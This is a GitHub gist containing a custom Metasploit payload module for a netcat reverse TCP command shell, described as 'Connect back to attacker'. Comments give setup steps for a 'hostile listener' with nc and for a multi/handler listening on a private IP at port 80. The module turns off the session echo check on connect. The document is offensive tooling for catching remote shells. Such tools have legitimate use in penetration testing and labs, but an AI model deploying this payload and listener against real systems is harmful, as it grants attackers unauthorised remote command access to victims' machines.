Created
September 27, 2021 00:03
-
-
Save mikesmullin/6e9f644bab74d517fa6ee86fc785130c to your computer and use it in GitHub Desktop.
Metasploit: Payload: TTY Command Shell, Reverse TCP (Netcat) w/ AutoVerifySession=false to prevent echo test on connect
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This module requires Metasploit: https://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
# /usr/share/metasploit-framework/modules/payloads/singles/generic/nc_reverse_tcp.rb | |
# usage: | |
# # launch hostile listener | |
# $ sudo nc -vlp 80 -ns 192.168.119.198 | |
# # alternatively, one that can receive many connections at once, and remains listening always | |
# msf> use exploit/multi/handler | |
# msf> set ExitOnSession false | |
# msf> set payload generic/nc_reverse_tcp | |
# msf> setg LHOST 192.168.119.198 | |
# msf> setg LPORT 80 | |
# msf> exploit -j | |
module MetasploitModule | |
CachedSize = 0 | |
include Msf::Payload::Single | |
include Msf::Payload::Generic | |
def initialize(info = {}) | |
super(merge_info(info, | |
'Name' => 'TTY Command Shell, Reverse TCP (Netcat)', | |
'Description' => 'Connect back to attacker', | |
'Author' => 'smullz', | |
'License' => MSF_LICENSE, | |
'Handler' => Msf::Handler::ReverseTcp, | |
'Session' => Msf::Sessions::CommandShell, | |
)) | |
register_options( | |
[ | |
OptBool.new('AutoVerifySession', [false, "Whether to test echo statement on connect", false]), | |
], | |
self.class | |
) | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment